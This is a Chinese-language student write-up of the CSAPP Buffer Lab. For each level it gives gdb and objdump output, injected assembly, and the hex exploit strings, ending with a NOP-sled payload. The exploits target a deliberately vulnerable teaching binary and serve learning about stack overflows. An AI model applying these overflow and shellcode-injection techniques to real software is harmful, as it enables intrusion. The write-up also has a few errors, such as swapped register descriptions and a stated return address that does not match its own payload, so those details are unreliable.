CSAPP Lab3 解题分析

首先,使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。参考write-up

Level 0

Bufbomb程序运行会读一个字符串,使用一下函数getbuf:

1
2
3
4
5
6
7
8
9
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32

int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

Gets函数和标准库的gets功能比较相似,是读取字符串。因为Gets没有办法判断是否buf足够大,所以要用一个函数去判断长度是否小于32。将字符串传入getbuf函数中,若字符串小于32,则返回1.

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

getbuf是由函数test调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void test() {   
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corruption stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned0x%x\n", val);
}
}

其中,Smoke源码:

1
2
3
4
5
void smoke(){   
puts("Smoke!: You calledsmoke()");
validate(0);
exit(0);
}

level 0 的任务是让getbuf在执行后返回时,执行smoke函数,而不是返回test函数中。

关于堆栈,可以参考书中的这张图

根据上面的汇编代码,可以知道,首先push保存了堆指针(frame pointer),然后%ebp保存帧指针(stack pointer),%esp减0x38。lea把buf的指针地址-0x28(%ebp)传给了Gets函数。所以可以画出堆栈图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------------+
| |
| getbuf返回地址 |
| |
+---------------+
| |
| %ebp |
| |
+---------------+
| |
| |
| |
| buf |
| |
| 40 byte |
| |
| |
| |
+---------------+
| |
| %esp |
| |
+---------------+

所以为了修改getbuf返回地址,需要在从buf开始,填充 40 + 4 = 44个字节,并且按照要求,这44个字节要是非0a数。根据汇编得到的smoke地址为08048c18,又因为是电脑小端法,所以构建的文本可以是这样的

1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08

Level 1

bufbomb中有个函数fizz:

1
2
3
4
5
6
7
8
9
10
void fizz(int val) {
if (val == cookie) {
printf("Fizz!: You calledfizz(0x%x)\n", val);
validate(1);
}
else
printf("Misfire: You calledfizz(0x%x)\n", val);

exit(0);
}

题目要求和level 0类似,就是让程序执行fizz而不是返回test。区别就是这个fizz函数要求传入参数,而且传入的参数必须是自己的cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

通过反汇编,可以发现变量val存在0x8(%ebp)这个位置,所以需要将0x8(%ebp)位置的值修改为cookie。首先前面的44位用非0a数填充,接着应该用fizz的地址08048c42替换原来的返回地址。然后添加4个非0a数,之后就应该添加cookie了。注意cookie也是用到小端表示。

所以构成了:

1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 88 41 9d 21

Level 2

让getbuf调用后执行bang函数,同时修改global_value。因为global_value是全局变量,所以并没储存在栈中。

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

通过反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp)
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>

在gdb中先在getbuf处设置断点, 接着

1
(gdb) r -u xinqiu

让其继续运行到断点处。根据上述的反汇编代码,用 x/i 0x804d100 得到

1
2
(gdb) x/i 0x804d100
0x804d100 <global_value>: add %al,(%eax)

可以知道0x804d100放的是global_value。如果想执行某一个函数,那么就把该函数的入口地址入栈。所以能写出漏洞利用代码,将cookie传入全局变量的地址中,然后将bang的入口地址入栈,接着用ret运行。将以下汇编代码保存到level2.S中。

1
2
3
movl $0x219d4188,0x804d100
pushl $0x08048c9d
ret

按照writeup,使用

1
gcc -m32 -c level2.S

编译,再用objdump反汇编

1
objdump -d level2.o > level2.d

通过查看level2.d

1
2
3
4
5
6
7
8
9
10
11

level2.o: file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: c7 05 00 d1 04 08 88 movl $0x219d4188,0x804d100
7: 41 9d 21
a: 68 9d 8c 04 08 push $0x8048c9d
f: c3 ret

将getbuf的返回地址改成buf的首地址运行,上一个栈的4字节改成bang函数的地址。这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。

为了得到buf的运行地址,可以使用gdb来获取

1
2
(gdb) p/x ($ebp-0x28)
$1 = 0x55683168

现在可以构造文本文件level2.txt,首先前40个字节中先用level2.d左边的操作码填充,剩余空位用00填充,接着用4个00覆盖保存的%ebp地址,最后将恶意函数的入口地址覆盖原来的返回地址,通过ret执行这个恶意函数。

1
c7 05 00 d1 04 08 88 41 9d 21 68 9d 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 31 68 55

Level 3

让getbuf正常返回到test函数,同时返回值为cookie。所以需要恢复被破坏的栈环境,将溢出前的正确的返回地址入栈,然后执行ret。因为getbuf的返回值在%eax寄存器中,溢出时会覆盖%ebp,所以需要进行恢复。

使用GDB

1
(gdb) b test

接着

1
(gdb) r -u xinqiu

通过查看pc寄存器的位置

1
2
3
4
5
6
7
8
9
10
11
(gdb) x/10i $pc
=> 0x8048dae <test+4>: sub $0x24,%esp
0x8048db1 <test+7>: call 0x8048d90 <uniqueval>
0x8048db6 <test+12>: mov %eax,-0xc(%ebp)
0x8048db9 <test+15>: call 0x80491f4 <getbuf>
0x8048dbe <test+20>: mov %eax,%ebx
0x8048dc0 <test+22>: call 0x8048d90 <uniqueval>
0x8048dc5 <test+27>: mov -0xc(%ebp),%edx
0x8048dc8 <test+30>: cmp %edx,%eax
0x8048dca <test+32>: je 0x8048dda <test+48>
0x8048dcc <test+34>: movl $0x804a388,(%esp)

可以知道在getbuf函数返回后的一条指令是 0x8048dbe

下面就是要构造攻击代码。需要将cookie传入eax寄存器,接着通过push入栈,ret返回来继续执行之后的代码。

1
2
3
mov $0x219d4188,%eax
push $0x08048dbe
ret

类似Level 2的操作,可以得到攻击文本文件

1
2
3
4
5
6
b8 88 41 9d 21 68 be 8d 04 08
c3 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 31 68 55
68 31 68 55

其中,倒数第二行是保存的ebp寄存器地址。

Level 4

首先通过反汇编得到:

1
2
3
4
5
6
7
8
9
10
11
12
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 00 00 sub $0x218,%esp
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop

通过 p/x ($ebp-0x208) 可以知道buf的首地址为 0x55682f88,且buf为520个字节大小。因为getbufn被执行了五次,通过gdb continue 5次,每次都查看buf地址,可以得到每次的首地址。

1
2
3
4
5
0x55682f88
0x55682f48
0x55682fe8
0x55682f28
0x55682f08

根据testn的前一部分反汇编代码

1
2
3
4
5
6
7
8
9
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx

esp和ebp寄存器相等,所以当 push %ebx 时, 此时的 %ebp = %esp + 0x4, sub $0x24,%esp 之后, %ebp = %esp + 0x28,这个就是%esp和%ebp每次的变化关系。此外可以知道call getbufn的下一条指令的地址为 0x8048e3a。

所以得出汇编代码

1
2
3
4
lea 0x28(%esp),%ebp
mov $0x219d4188,%eax
push $0x8048e3a
ret

根据建议, buf的520个自己空间加上返回地址和ebp共528个字节,去掉返回地址和攻击的指令字节码,剩余的都用nop也就是0x90填充。也就是509个nop形成”nop sled”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
8d 6c 24 28 b8 88 41 9d 21 68 3a 8e 04 08 c3
e8 2f 68 55

最后的返回地址,选择最大buf地址来覆盖,也就是用0x55682f08。

值得注意的是,在运行hex2raw程序时需要添上 -n 这个参数。

总结

BufLab 算是完成了,稍微对模拟缓冲区溢出熟悉了一点,加深了对程序堆栈的理解。